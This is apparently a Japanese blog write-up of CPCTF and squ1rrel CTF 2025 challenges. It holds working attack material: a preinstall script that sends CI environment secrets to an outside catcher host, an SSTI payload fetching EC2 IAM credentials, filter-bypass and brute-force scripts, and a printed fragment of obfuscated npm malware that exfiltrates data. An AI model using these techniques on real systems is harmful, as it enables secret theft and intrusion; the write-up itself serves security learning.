まず、テレポーターについて考えてみよう。

  • テレポーターを複数回利用する必要はない。なぜなら、A→Bのように使った場合は、Aは使わずBを使えばいいためである。よって、テレポーターは使わないか、1回使うという選択になる
  • また、テレポーターを使う場合は、一番最初に使うことになる。途中で使うと途中の移動が無駄になるため。

この辺をうまく使って差分計算する。複数テレポーターがある場合のクエリ1の答えは

min(
    x - 1, // 1からxまでnaiveに移動
    abs(x - tx[0]) + tc[0], // 0番目のテレポーターを使った場合
    abs(x - tx[1]) + tc[1], // 1番目のテレポーターを使った場合
    ...
)

となる。テレポーターを使う場合にabsがあるのが厄介だが、xより左側にあるテレポーターか、右側にあるテレポーターかで以下のように無くすことができる。

abs(x - tx[0]) + tc[0]
↓
テレポーター < x  →  x - tx[0] + tc[0]
x < テレポーター  →  tx[0] - x + tc[0]

どのテレポーターでもxは固定なので、位置関係によって-tx[i] + tc[i]tx[i] + tc[i]の最小値が分かれば、テレポーターを使った場合の最小コストが分かる。セグメントツリーをうまく使えばクエリをさばけますね。

int N, Q;
SegTree<ll, 1<<18> lft;
SegTree<ll, 1<<18> rht;
void _main() {
    cin >> N >> Q;
    rep(_, 0, Q) {
        int t; cin >> t;
        if (t == 1) {
            int x; cin >> x; x--;
            ll ans = x;
            chmin(ans, lft.get(0, x) + x); // 左側のテレポーターを使った場合
            chmin(ans, rht.get(x, N) - x); // 右側のテレポーターを使った場合
            cout << ans << endl;
        } else {
            int x, c; cin >> x >> c; x--;
            // lft
            ll cost = -x + c;
            if (cost < lft.get(x, x + 1)) lft.update(x, cost);

            // rht
            cost = x + c;
            if (cost < rht.get(x, x + 1)) rht.update(x, cost);
        }
    }
}

[OSINT] meshitero

美味しい美味しい油そば
画像のメニューの名前を答えてください!

油そばの画像が与えられる。Googleレンズで調べるとこれだった

爆盛油脂麺

CPCTF{bakumoriaburaaburamen}

[OSINT] timetable

fileの写真が示している時刻表に該当する駅や停留所の名前をそのまま小文字でヘボン式で表記してください。

時刻表の画像が与えられる。とりあえず、Googleグラスで検索してみるが、時刻表はどれも似通っているのか、いい情報が無い。「富士見・神保町ルート」「秋葉原ルート」で検索してみると、「風ぐるま」というバスのようだ。

調べると時刻表もあり、同じものを

https://www.city.chiyoda.lg.jp/documents/32796/jikokuhyo.pdf

で探すと、「専修大学法科大学院前」と一致する!これだ!と思ったが、一応いい感じの写真が無いか少し探すと、東急リバブルの写真が見つかる。

https://www.livable.co.jp/mansion/library/000000407576/overview/

に貼ってある

https://www.livable.co.jp/assets/images/original/407576-14.webp

を見ると、細かな文字は見えないが、これっぽいことは分かる。

CPCTF{senshudaigakuhokadaigakuimmae}

[OSINT] Bench 解けてない

この写真が撮影された場所を特定してください。

風景の写真が与えられるので撮影場所を特定する問題。殆ど解けているはずだが、差し切れなかった。

目を引く漫画を検索してみると、「ののちゃん」であることが分かる。「ののちゃん」が張ってあるということはその作者の地元何だろうと思って検索すると、ここは岡山県らしい。

写真を見ると「エブリィ」というスーパーっぽい名前が出てくるので、フェリー乗り場が近くにあるという情報からアレコレ探すと、鮮Do!エブリイ 玉野店までたどり着ける。

https://www.google.com/maps/place/%E9%AE%AEDo!%E3%82%A8%E3%83%96%E3%83%AA%E3%82%A4+%E7%8E%89%E9%87%8E%E5%BA%97/@34.4865519,133.9384073,15.73z/data=!4m10!1m2!2m1!1z5bKh5bGx55yMIOOCqOODluODquOCow!3m6!1s0x3553f073717733f9:0xde2eed5e3aadb7ac!8m2!3d34.4892547!4d133.9493341!15sChblsqHlsbHnnIwg44Ko44OW44Oq44KjkgELc3VwZXJtYXJrZXTgAQA!16s%2Fg%2F11bxdvwpvp?entry=ttu&g_ep=EgoyMDI1MDQxNi4xIKXMDSoASAFQAw%3D%3D

そこからそれっぽい所をあれこれ探すと、ここだ!という場所が見つかる。

https://www.google.com/maps/@34.4940365,133.953403,3a,75y,277.07h,73.08t/data=!3m7!1e1!3m5!1sAF1QipNYAewBKPmDVTBf5ExrmDXClkCjM-jtWSUHp7Ub!2e10!6shttps:%2F%2Flh3.googleusercontent.com%2Fp%2FAF1QipNYAewBKPmDVTBf5ExrmDXClkCjM-jtWSUHp7Ub%3Dw900-h600-k-no-pi16.91994956565793-ya193.26474301949798-ro0-fo100!7i6720!8i3360?entry=ttu&g_ep=EgoyMDI1MDQxNi4xIKXMDSoASAFQAw%3D%3D

完全にここだと思うのだが、ここから座標を抽出して答えることができず、終わった…

[shell] XFD

Excelの列名をA~XFDまで生成し、それを改行区切りのテキストファイルに出力する問題。このファイルのSHA256ハッシュ値がフラグとなる。

実装する。

def excel_column_names():
    column = 1
    while True:
        yield column_number_to_name(column)
        if column_number_to_name(column) == 'XFD':
            break
        column += 1

def column_number_to_name(n):
    name = ''
    while n > 0:
        n, remainder = divmod(n - 1, 26)
        name = chr(65 + remainder) + name
    return name

with open('out.txt', 'w') as f:
    for col in excel_column_names():
        f.write(col + '\n')

これで出てきたout.txtでsha256ハッシュ取って提出すると答え。

$ sha256sum out.txt 
6526814a735caafefa75d482c954e11d49c110f5dc73dce2f951d6b11339c05b  out.txt

ハッシュ値が一致しない場合改行文字に注意する。

[shell] Count CPCTF

テキストファイル中の「CPCTF」という文字列の数を数えてみましょう!

大量のテキストから特定の文字列の出現回数を数える問題。

grepしてwcした。

$ wget https://files.cpctf.space/count-CPCTF.txt

$ cat count-CPCTF.txt | grep -o "CPCTF" | wc -l
128196

[forensics] dark

忘れないようにflagのメモの写真を撮ったけど、カメラの設定間違えちゃった!どうしよう!

真っ黒な画像が渡される。青い空を見上げればいつもそこに白い猫のステガノグラフィーでポチポチ見てみると、「赤色 ビット0 抽出」とか「緑色 ビット0 抽出」でフラグが出てくる。

CPCTF{dark_1mage_may_have_1nformat10n}

[forensics] Golden Protocol

伝統って、すばらしい!

pcapファイルが配布される。中身を見るとメールのやり取りになっている。TCP Streamの#1でsecret.zipが送られていて、#3でパスワードらしき文字列が送られている。Golden Protocol。

実際に取り出すと解凍できてフラグが得られる。

CPCTF{I_l0ve_4pples_4nd_p1n34ppl3s_34827ac28a610940}

[forensics] I love MD

セキュリティの都合で使われなくなったハッシュ関数の一つにMD5があります。
衝突させられますか?

MD5ハッシュが衝突する2つの異なる入力文字列を見つける問題。MD5ハッシュが一致するが、平文が異なるようなペアを送信するとフラグが得られる。

自分は、https://twitter.com/realhashbreaker/status/1770161965006008570 で紹介されているものを使った。

[forensics] Event analyze

社内のPCから不審な通信がありました。
どうやら、社内のアルバイトが自作のパッケージを入れて使っていたが、そこに悪意のあるユーザーがマルウェアを混入させたようだ。
解析して以下の内容を突き止めてほしい。

ディスクイメージファイルから不正アクセスの痕跡を解析する問題。マルウェアの埋め込まれたnpmパッケージを特定し、Windows Defenderのログから悪意のあるユーザー名、外部通信先IPアドレスマルウェアのファイル名を特定する。

ディスクイメージが与えられるので解析していく。FTKImagerで開くと

  • C:\Users\User\Documents
  • C:\Window\System32\winevt\Logs
  • C:\ProgramData\Microsoft\Windows Defender

が入っていた。

マルウェアを混入させた悪意のあるユーザーのユーザー名

C:\Users\User\Documents\workspaces\marktype.git のコミットログを解析すると、最新が

commit 0657d2ad695e9fb1418f76c8fea3170f79ce66c8 (HEAD -> main, origin/main, origin/HEAD)
Author: ■■■■ <■■■■@example.net>
Date:   Sat Apr 19 22:10:46 2025 +0900

    feat: update README

diff --git a/README.md b/README.md
index d259e56..bb312e8 100644
--- a/README.md
+++ b/README.md
@@ -2,6 +2,9 @@
 
 This is a simple markdown editor that allows you to write and preview markdown in real-time. It is built using React and Tailwind CSS.
 
+> [!NOTE]
+> Windows Defender may occasionally detect this as a false positive, but there is no problem. In such cases, please either turn off Windows Defender or add an exclusion se
tting.
+
 ## Features
 - Real-time preview of markdown
 - Syntax highlighting for code blocks

で怪しい。その直前にも同じユーザー■■■■によるコミットがある。

■■■■

マルウェアの外部通信先IP形式

package-lock.json

     "node_modules/highlight.js": {
       "version": "11.11.1",
-      "resolved": "https://registry.npmjs.org/highlight.js/-/highlight.js-11.11.1.tgz",
-      "integrity": "sha512-Xwwo44whKBVCYoliBQwaPvtd/2tYFkRQtXDWj1nackaV2JPXx3L0+Jvd8/qCJ2p+ML0/XVkJ2q+Mr+UVdpJK5w==",
+      "resolved": "http://[redacted]/highlight.js/-/highlight.js-11.11.1.tgz",
+      "integrity": "sha512-3w25nwQRz7EEPdOjOGLfE3JvJt7xqiuAw9I9xO4A/TtrtQrQ2Ogc+KMO4RWKm1viop11TzRGKCuCPwxSxS2N7w==",
+      "hasInstallScript": true,
+      "license": "BSD-3-Clause",
+      "dependencies": {
+        "megajs": "^1.3.7"
+      },
       "engines": {
         "node": ">=12.0.0"
       }

のような修正があり、src/App.tsxにも

 import { useEffect, useState } from 'react';
 import { Panel, PanelGroup, PanelResizeHandle } from 'react-resizable-panels';
 import MarkdownIt from 'markdown-it';
-import hljs from 'highlight.js';
+import hljs from '@■■■■■■/highlight.js';
 import DOMPurify from 'dompurify';
 import TextareaAutosize from 'react-textarea-autosize';
 import { useDebounce } from 'use-debounce';

という修正がある。配布されたディスクイメージにnode_modulesが含まれていたのでそこからデータを持ってこよう。CHANGES.mdを見るとhighlight.jsの11.11.2のようだが、npmで見ると11.11.1が最新。とりあえず、diffを取ってみると、package.jsonのscriptのpostinstallに追記があった。

    "postinstall": "node ./lib/check.js",

./lib/check.jsを見ると難読化コードがあった。これですね。コードを解析すると通信先が分かる。sendResultsに

async function sendResults(rS$ClJLTXhGgfGrRteqoNKsQu$g) {
    const dic = uDOdzcLVrnBW$zxS,
        xY_WrxsfJxMwAx = dic(0x241),
        QkGLuwfbXPZgPCQrDgJeP = {
            'scanned_hosts': rS$ClJLTXhGgfGrRteqoNKsQu$g
        };
    try {
        const BKcEwFtyvecUTnu = await fetch(xY_WrxsfJxMwAx, {
            'method': dic(0x242),
            'headers': {
                'Content-Type': dic(0x22b)
            },
            'body': JSON[dic(0x223)](QkGLuwfbXPZgPCQrDgJeP)
        });
        console[dic(0x229)](dic(0x22e), BKcEwFtyvecUTnu[dic(0x1f2)]);
    } catch (TJTadDFVgeKsuvnbQvM$Z_cKjoQ) {
        console[dic(0x229)](dic(0x231), TJTadDFVgeKsuvnbQvM$Z_cKjoQ);
    }
}

こういう部分があり、fetchに渡されている文字列をたどっていくとhxxp://96[.]7[.]128[.]■■/api/endpointというのが(defang済み)渡されていた。よって、

96_7_128_■■

マルウェアの、過去に報告されているファイル名(拡張子を除く)

checkか? → いや、違う

いや、ちゃんと見るか。報告されているというのはWindows Defenderだろう。WindowsイベントログにはDefenderの検知ログも出てくるので、それを見ることにする。hayabusaを入れてcsv-timelineを見てみる。

"2025-04-19 23:11:14.615 +09:00","WinDev2407Eval","Defender",1116,"crit",85,"Antivirus Ransomware Detection","Threat: Trojan:Python/FileCoder.AG!MTB ¦ Severity: Severe ¦ Type: Trojan ¦ User: ¦ Path: file:_C:\Users\User\Documents\workspaces\marktype\node_modules\highlight.js\this_is_not_flag.py ¦ Proc: Unknown","Action ID: 9 ¦ Action Name: Not Applicable ¦ Additional Actions ID: 0 ¦ Additional Actions String: No additional actions required ¦ Category ID: 8 ¦ Detection ID: {A4B6C5C1-8A64-4407-A6A3-92681AC72A03} ¦ Detection Time: 2025-04-19T14:11:14.596Z ¦ Engine Version: AM: 1.1.25030.1, NIS: 1.1.25030.1 ¦ Error Code: 0x00000000 ¦ Error Description: The operation completed successfully. ¦ Execution ID: 1 ¦ Execution Name: Suspended ¦ FWLink: https://go.microsoft.com/fwlink/?linkid=37020&name=Trojan:Python/FileCoder.AG!MTB&threatid=2147921159&enterprise=0 ¦ Origin ID: 1 ¦ Origin Name: Local machine ¦ Post Clean Status: 0 ¦ Pre Execution Status: 0 ¦ Product Name: Microsoft Defender Antivirus ¦ Product Version: 4.18.2201.11 ¦ Security intelligence Version: AV: 1.427.341.0, AS: 1.427.341.0, NIS: 1.427.341.0 ¦ Severity ID: 5 ¦ Source ID: 3 ¦ Source Name: Real-Time Protection ¦ State: 1 ¦ Status Code: 1 ¦ Threat ID: 2147921159 ¦ Type ID: 0 ¦ Type Name: Concrete"

this_is_not_flag とあるが… → 違う

%programdata%\\Microsoft\\Windows Defender\\Scans\\History\\Service\\DetectionHistoryを見ても同じファイル名。あってそう?

んーWindowsイベントログを.jsでキーワード検索してもいい情報が無い。

DetectionHistoryってハッシュ値残ってない?と思って調べてみると、取得できるようだ。defender-detectionhistory-parserを使って、ファイルを解析すると、sha256ハッシュ値が得られる。

{
    "GUID": "a4b6c5c1-8a64-4407-a6a3-92681ac72a03",
    "Magic.Version": "1.2",
    "Trojan": "Python/FileCoder.AG!MTB",
    "ThreatStatusID": 4,
    "file": "C:\\Users\\User\\Documents\\workspaces\\marktype\\node_modules\\highlight.js\\this_is_not_flag.py",
    "ThreatTrackingSha256": "b96323d57f8cb064f82c9821dbe9bec3fe6d2c08731e2aed39005bcf61a589c8",
    "ThreatTrackingSigSeq": "0x0000266725866614",
    "ThreatTrackingId": "191D0034-66D1-40AE-BAD1-383988FDED98",
    "ThreatTrackingStartTime": "04-19-2025 14:11:14",
    "ThreatTrackingThreatName": "Trojan:Python/FileCoder.AG!MTB",
    "ThreatTrackingSha1": "2669c24f0bbb80d7574dd6fa2727f2a1061da8a1",
    "ThreatTrackingSigSha": "b3fe2875b134dd813d8d81dda1455806b9c14f76",
    "ThreatTrackingSize": 2553,
    "ThreatTrackingMD5": "f8f240b78f5d51e760180e759f076643",
    "ThreatTrackingScanFlags": "",
    "ThreatTrackingIsEsuSig": "",
    "ThreatTrackingThreatId": 2147921159,
    "ThreatTrackingScanSource": "",
    "ThreatTrackingScanType": "",
    "User": "Unknown",
    "SpawningProcessName": "NT AUTHORITY\\SYSTEM"
}

このハッシュ値でVirusTotalを検索すると、DetailsのNamesの所にevil.pyというのを見ることができる。

evil

これを全部くっつけると答えになる。

squ1rrel CTF 2025 Writeup

[cloud] opensource

The entirety of this challenge takes place on GitHub. Accept the challenge at https://[redacte]/ (do not attack this website, it is not part of the challenge).

GitHub Actionsの環境変数を利用した脆弱性を突くチャレンジ。GitHub OAuthでログイン後、専用リポジトリに招待される。フォークしてPull Requestを出すと、GitHubワークフローが環境変数としてシークレットを渡す仕組みを悪用する。

脆弱性.github/workflows/test.ymlにある。中身は以下。

name: Test Build

on:
  pull_request_target:

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v4
        with:
          ref: ${{github.event.pull_request.head.ref}}
          repository: ${{github.event.pull_request.head.repo.full_name}}
          token: ${{ secrets.PAT }}
      - name: Set up Node.js
        uses: actions/setup-node@v4
        with:
          node-version: '20'
      - name: Install dependencies
        run: npm install
        env:
          FLAG: ${{ secrets.FLAG }}
      - name: Run build
        run: npm run build

pull_request_target トリガーを使用して、PRに対してFLAG環境変数に入れた状態でnpm installを実行している。つまり、悪意あるPRを作って、npm installで任意コード実行してやって、環境変数を抜けば良い。リポジトリをフォークして、package.json に以下のようなスクリプトを追加する。

{
  "scripts": {
    "preinstall": "node -e \"fetch('https://[yours].requestcatcher.com/get', { method: 'post', body: JSON.stringify(process.env) })\""
  }
}

preinstall は、npm install 実行前に自動的に実行されるので、環境変数(FLAGを含む)をすべて外部サーバーに送信できる。このコードを含むPRを作成すると、GitHub Actionsワークフローが実行され、フラグが得られる。

[cloud] metadata

Just vibe coded my very first website, and my friend put it up on his EC2. No shot it has any security vulnerabilities, right?

AWS EC2インスタンス上で動作するWebアプリケーションの脆弱性を利用する。アプリケーションにはSSTI脆弱性があり、これを利用してメタデータサービスにアクセスし、EC2のIAMロール認証情報を取得する。取得した認証情報を使ってAWS Secrets Managerからフラグを取得する。

SSTI

まず、SSTIがあることを見つける。フォームに{{4*4}}を入力すると、計算結果の「16」が返ってくる。

$ curl 'http://[redacted]/greet' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'name=%7B%7B4*4%7D%7D'
Hello, 16!

この脆弱性を利用して、SSRFしてみよう。pythonのurlibを使ってAWS EC2インスタンスメタデータサービスにアクセスする。

{{request.application.__globals__.__builtins__.__import__('urllib').request.urlopen("http://169.254.169.254/latest/meta-data/").read()}}

これで色々出てきたのでガチャガチャやると、ec2instanceroleというIAMロールのアクセス認証情報が取れる。

{{request.application.__globals__.__builtins__.__import__('urllib').request.urlopen("http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2instancerole").read()}}

この結果、以下のような認証情報が得られる。

{ 
  "Code" : "Success", 
  "LastUpdated" : "2025-04-05T13:14:58Z", 
  "Type" : "AWS-HMAC", 
  "AccessKeyId" : "[redacted]", 
  "SecretAccessKey" : "[redacted]", 
  "Token" : "[redacted]", 
  "Expiration" : "2025-04-05T19:41:22Z" 
}

IAMロールポリシーの調査

取得した認証情報を使用して、IAMロールのポリシーを確認する。

$ aws iam get-role --role-name ec2instancerole
{
    "Role": {
        "Path": "/",
        "RoleName": "ec2instancerole",
        "RoleId": "[redacted]",
        "Arn": "arn:aws:iam::[redacted]:role/ec2instancerole",
        "CreateDate": "2025-04-04T00:15:10+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "Service": "ec2.amazonaws.com"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        },
        "Description": "Allows EC2 instances to call AWS services on your behalf.",
        "MaxSessionDuration": 3600,
        "RoleLastUsed": {
            "LastUsedDate": "2025-04-05T14:05:04+00:00",
            "Region": "us-east-1"
        }
    }
}

$ aws iam list-attached-role-policies --role-name ec2instancerole
{
    "AttachedPolicies": [
        {
            "PolicyName": "ec2instancepolicy",
            "PolicyArn": "arn:aws:iam::[redacted]:policy/ec2instancepolicy"
        }
    ]
}

$ aws iam get-policy-version --policy-arn arn:aws:iam::[redacted]:policy/ec2instancepolicy --version-id v6
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "VisualEditor0",
                    "Effect": "Allow",
                    "Action": [
                        "iam:GetRole",
                        "iam:ListAttachedRolePolicies",
                        "iam:GetPolicy",
                        "iam:GetPolicyVersion"
                    ],
                    "Resource": "*"
                },
                {
                    "Sid": "VisualEditor1",
                    "Effect": "Allow",
                    "Action": [
                        "secretsmanager:GetSecretValue",
                        "secretsmanager:DescribeSecret",
                        "secretsmanager:ListSecrets",
                        "secretsmanager:ListSecretVersionIds"
                    ],
                    "Resource": "arn:aws:secretsmanager:us-east-2:[redacted]:*"
                }
            ]
        },
        "VersionId": "v6",
        "IsDefaultVersion": true,
        "CreateDate": "2025-04-04T00:37:02+00:00"
    }
}

AWS Secrets Managerに対して権限がいくらかある。ListSecretsをやってみるが、うまくいかない。flagという名前かな…と思って取得してみると取れて、フラグが書いてある。

$ aws secretsmanager get-secret-value --secret-id flag
{
    "ARN": "arn:aws:secretsmanager:us-east-2:[redacted]:secret:flag-imCL9a",
    "Name": "flag",
    "VersionId": "6383bf21-9007-465c-9908-b08d7397bb0b",
    "SecretString": "{\"flag\":\"squ1rrel{you_better_not_have_vibe_coded_the_solution_to_this_challenge}\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2025-04-05T01:01:42.266000+09:00"
}

[cloud] escalate

In order to get access to this challenge, you must first complete metadata. To start this challenge, make a ticket with your team name to request an AWS account for your team. (Only one AWS account per team!)

AWSのアカウントがもらえるので、それを悪用してフラグを取ってくるチャレンジ。ctfuserというユーザーの認証情報が与えられる。webのマネージメントコンソールにログインして、地道に探索探すとIAMでポリシーとロールが確認できた。

  • ポリシー「MagicPolicy」 : ロール「MagicRole」にアタッチされている
    • arn:aws:s3:::squ1rrel-ctf-flagsに対してs3:ListBucketがAllow
    • *に対してlogs:{CreateLogGroup,CreateLogStream,PutLogEvents}がAllow
  • ポリシー「UserPolicy」 : ctfuserにアタッチされている
    • *に対して
      • iam:{SetDefaultPolicyVersion,ListRoles,GetRole,ListPolicies,ListPolicyVersions,ListAttachedRolePolicies,GetPolicy,GetPolicyVersion,ListEntitiesForPolicy}がAllow
      • lambda:{GetFunction,CreateFunction,InvokeFunction,UpdateFunctionCode,UpdateFunctionConfiguration,DeleteFunction,ListFunctions}がAllow

ということで、lambdaのMagicRoleを手に入れて、s3のsqu1rrel-ctf-flagsをListしてみる。既存のlanbda関数は無かったので、MagicRoleを実行ロールとして新規で関数を作って以下のように実行してみた。

import json
import boto3

s3 = boto3.client('s3')

def lambda_handler(event, context):
    bucket_name = 'squ1rrel-ctf-flags'
    
    try:
        response = s3.list_objects_v2(Bucket=bucket_name)
        print(response)
        
        return {
            'statusCode': 200,
            'body': json.dumps(response)
        }
    
    except Exception as e:
        print(e)
        
        return {
            'statusCode': 500,
            'body': json.dumps({'message': 'err'})
        }

これをテストで動かすと以下のように帰ってきて、ファイル名がフラグになっていた。

{'ResponseMetadata': {'RequestId': '[redacted]', 'HostId': '[redacted]', 'HTTPStatusCode': 200, 'HTTPHeaders': {'x-amz-id-2': '[redacted]', 'x-amz-request-id': '[redacted]', 'date': 'Sun, 06 Apr 2025 08:14:00 GMT', 'x-amz-bucket-region': 'us-east-1', 'content-type': 'application/xml', 'transfer-encoding': 'chunked', 'server': 'AmazonS3'}, 'RetryAttempts': 0}, 'IsTruncated': False, 'Contents': [{'Key': 'squ1rrel{dont_you_love_aws}.txt', 'LastModified': datetime.datetime(2025, 4, 4, 5, 59, 47, tzinfo=tzlocal()), 'ETag': '"[redacted]"', 'ChecksumAlgorithm': ['CRC64NVME'], 'Size': 0, 'StorageClass': 'STANDARD'}], 'Name': 'squ1rrel-ctf-flags', 'Prefix': '', 'MaxKeys': 1000, 'EncodingType': 'url', 'KeyCount': 1}

[web] go getter

There's a joke to be made here about Python eating the OGopher. I'll cook on it and get back to you.

ソースコード有り。GoアプリとPythonサービスの連携における脆弱性を突く問題。フロントであるGoアプリはリクエストをフィルタリングし、バックエンドのPythonサービスはフラグ取得のエンドポイントを持つ。JSON解析の違いを利用してGoのフィルタを回避する。golang側(フロントエンド)では

// Struct to parse incoming JSON
type RequestData struct {
    Action string `json:"action"`
}
...
// Parse JSON
var requestData RequestData
if err := json.Unmarshal(body, &requestData); err != nil {
    http.Error(w, "Invalid JSON", http.StatusBadRequest)
    return
}

// Process action
switch requestData.Action {
case "getgopher":
        resp, err := http.Post("http://python-service:8081/execute", "application/json", bytes.NewBuffer(body))
        if err != nil {
            log.Printf("Failed to reach Python API: %v", err)
            http.Error(w, "Failed to reach Python API", http.StatusInternalServerError)
            return
        }
        defer resp.Body.Close()

としていて、python側(バックエンド)では

@app.route('/execute', methods=['POST'])
def execute():
    # Ensure request has JSON
    if not request.is_json:
        return jsonify({"error": "Invalid JSON"}), 400

    data = request.get_json()

としている。それぞれのミドルウェアの細かい実装は確認せず、簡易fuzzerを作ってガチャガチャやると{"action":"getflag", "Action":"getgopher"}で不整合が起こせてフラグが得られる。どうやら、golangの方はjsonのkeyについてcase-insensitiveだが、pythonではcase-sensitiveのようだ。

[Web] emojicrypt

Passwords can be more secure. We're taking the first step.

ソースコード有り。パスワード認証機能を持つWebアプリケーションの脆弱性を突く問題。ユーザー登録時にパスワードは自動生成され、認証時にはbcryptハッシュとソルトが使われる。ソルトとして複数の絵文字が使用されているのが特徴。

from flask import Flask, request, redirect, url_for, g
import sqlite3
import bcrypt
import random
import os

app = Flask(__name__, static_folder='templates')
DATABASE = 'users.db'
EMOJIS = ['🌀', '🌁', '🌂', '🌐', '🌱', '🍀', '🍁', '🍂', '🍄', '🍅', '🎁', '🎒', '🎓', '🎵', '😀', '😁', '😂', '😕', '😶', '😩', '😗']
NUMBERS = '0123456789'

def generate_salt():
    return 'aa'.join(random.choices(EMOJIS, k=12))

@app.route('/register', methods=['POST'])
def register():
    # 省略
    salt = generate_salt()
    random_password = ''.join(random.choice(NUMBERS) for _ in range(32))
    password_hash = bcrypt.hashpw((salt + random_password).encode("utf-8"), bcrypt.gensalt()).decode('utf-8')

    # TODO: email the password to the user. oopsies!
    # パスワードがユーザーに通知されない

@app.route('/login', methods=['POST'])
def login():
    # 省略
    salt, hash = data
    
    if salt and hash and bcrypt.checkpw((salt + password).encode("utf-8"), hash.encode("utf-8")):
        return os.environ.get("FLAG")

重要な部分を抜粋すると以上のような感じ。パスワードが自動生成されるが共有されないので、ログインできないよね?という形。

bcryptの制約を悪用

bcryptのハッシュ関数は入力が72バイトを超える場合、72バイトで切り詰められるという制約がある。この問題では、ソルトとして多数の絵文字が使われており、UTF-8で長いバイト列になる。

def generate_salt():
    return 'aa'.join(random.choices(EMOJIS, k=12))

絵文字は一つあたり3~4バイトを消費するため、12個の絵文字と間に挟まる「aa」を合わせるとソルトだけで既に長いバイト列となる。その後に32桁のパスワードを結合すると、72バイトの制限を超えてしまう。結果として、パスワードの大部分が切り詰められ、実際には最初の数桁(2桁程度)のみがハッシュ計算に使用される仕組みになっている。これにより、1032だった探索空間が102に減少し、総当たり攻撃が現実的な時間で可能になる。2桁の数字の全ての組み合わせ(00-99)をブルートフォースで試すソルバーが以下で、これを回すとフラグが得られる。

#!/usr/bin/env python3

import bcrypt
import requests
import itertools

URL = "http://[redacted]"

TEST_USERNAME = "test_user_" + ''.join([str(i) for i in range(10)])
TEST_EMAIL = TEST_USERNAME + "@example.com"

DIGITS = "0123456789"

def try_login(password):
    data = {
        'username': TEST_USERNAME,
        'password': password
    }
    response = requests.post(f"{URL}/login", data=data)
    
    if "incorrect" not in response.url and response.status_code == 200:
        print(response.text)
        return True
    return False

requests.post(f"{URL}/register", data={'email': TEST_EMAIL, 'username': TEST_USERNAME})

for password in itertools.product(DIGITS, repeat=2):
    password = ''.join(password)
    if try_login(password):
        break

[Web] acorn clicker

Click acorns. Buy squirrels. Profit.

ソースコード有り。クリックでacornsを稼ぎ、999999999999999999acornsでフラグが買える。高額で通常の方法では入手不可能なので、バックエンドの入力検証の脆弱性を突いて大量のacornsを入手する必要がある。

app.post("/api/click", authenticate, async (req, res) => {
  // increase user balance
  const { username } = req.user;
  const { amount } = req.body;

  if (typeof amount !== "number") {
    return res.status(400).send("Invalid amount");
  }

  if (amount > 10) {
    return res.status(400).send("Invalid amount");
  }

  let bigIntAmount;

  try {
    bigIntAmount = BigInt(amount);
  } catch (err) {
    return res.status(400).send("Invalid amount");
  }

  await db
    .collection("accounts")
    .updateOne({ username }, { $inc: { balance: bigIntAmount } });

  res.json({ earned: amount });
});

負の値による入力検証バイパス

clickエンドポイントでは、入力値のチェックで「10より大きくないか」のみを検証しており、負の値のチェックを行っていない。そのため、負の値を送信すると、バランスを減らすことができる。注目すべき点は、MongoDBのint64型とJavaScriptのBigInt型の扱いの違いで、MongoDBのint64型は固定長であるのに対し、JavaScriptのBigInt型は任意精度整数である。よって、JavaScript側ではMongoDBで負の方向にオーバーフローを起こすような入力を入れ込むことができる。

よって以下のようにオーバーフローが起きる大きい負の値を入れてやると、大きい正のacornsが得られて、フラグが取得できるようになる。

curl 'http://challenge-url:8080/api/click' \
  -H 'Authorization: Bearer {JWT_TOKEN}' \
  -H 'Content-Type: application/json' \
  --data-raw '{"amount":-9223372036854775808}'

[crypto] Easy RSA

"The security of RSA relies on the practical difficulty of factoring the product of two large prime numbers, the 'factoring problem'" -Wikipedia

ソースコードは以下の通り。

import random
from sympy import nextprime, mod_inverse


def gen_primes(bit_length, diff=2**32):
    p = nextprime(random.getrandbits(bit_length))
    q = nextprime(p + random.randint(diff//2, diff))
    return p, q


def gen_keys(bit_length=1024):
    p, q = gen_primes(bit_length)
    n = p * q
    phi = (p - 1) * (q - 1)

    e = 65537
    d = mod_inverse(e, phi)

    return (n, e)


def encrypt(message, public_key):
    n, e = public_key
    message_int = int.from_bytes(message.encode(), 'big')
    ciphertext = pow(message_int, e, n)
    return ciphertext


if __name__ == "__main__":
    public_key = gen_keys()

    message = "FLAG"
    ciphertext = encrypt(message, public_key)

    f = open("easy_rsa.txt", "a")
    f.write(f"n: {public_key[0]} \n")
    f.write(f"e: {public_key[1]} \n")
    f.write(f"c: {ciphertext}")
    f.close()

脆弱点は以下で、二つの素数pとqが非常に近い値で生成されていること。

p = nextprime(random.getrandbits(bit_length))
q = nextprime(p + random.randint(diff//2, diff))

フェルマー素因数分解で解く

二つの素数pとqが近い場合、フェルマー素因数分解を使って効率的に因数分解できる。素因数分解の実装はここから借りてきたが、以下のようなソルバで解ける。

import gmpy2

# https://tex2e.github.io/blog/crypto/fermat-factorization-method
def fermat_factors(n):
    assert n % 2 != 0
    x = gmpy2.isqrt(n)
    y2 = x**2 - n
    while not gmpy2.is_square(y2):
        x += 1
        y2 = x**2 - n
    factor1 = x + gmpy2.isqrt(y2)  # a = x + y
    factor2 = x - gmpy2.isqrt(y2)  # b = x - y
    return int(factor1), int(factor2)

n = 26518484190072684543796636642573643429663718007657844401363773206659586306986264997767920520901884078894807042866105584826044096909054367742753454178100533852686155634326578229244464083405472076784252798532101323300927917033985149599262487556178538148122012479094592746981412717431260240328326665253193374956717147239124238669998383943846418315819353858592278242580832695035016713351286816376107787722262574185450560176240134182669922757134881941918668067864082251416681188295948127121973857376227427652243249227143249036846400440184395983449367274506961173876131312502878352761335998067274325965774900643209446005663
e = 65537
c = 14348338827461086677721392146480940700779126717642704712390609979555667316222300910938184262325989361356621355740821450291276190410903072539047611486439984853997473162360371156442125577815817328959277482760973390721183548251315381656163549044110292209833480901571843401260931970647928971053471126873192145825248657671112394111129236255144807222107062898136588067644203143226369746529685617078054235998762912294188770379463390263607054883907325356551707971088954430361996309098504380934167675525860405086306135899933171103093138346158349497350586212612442120636759620471953311221396375007425956203746772190351265066237
p, q = fermat_factors(n)

from Crypto.Util.number import long_to_bytes
phi = (p-1)*(q-1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(c, d, n)))

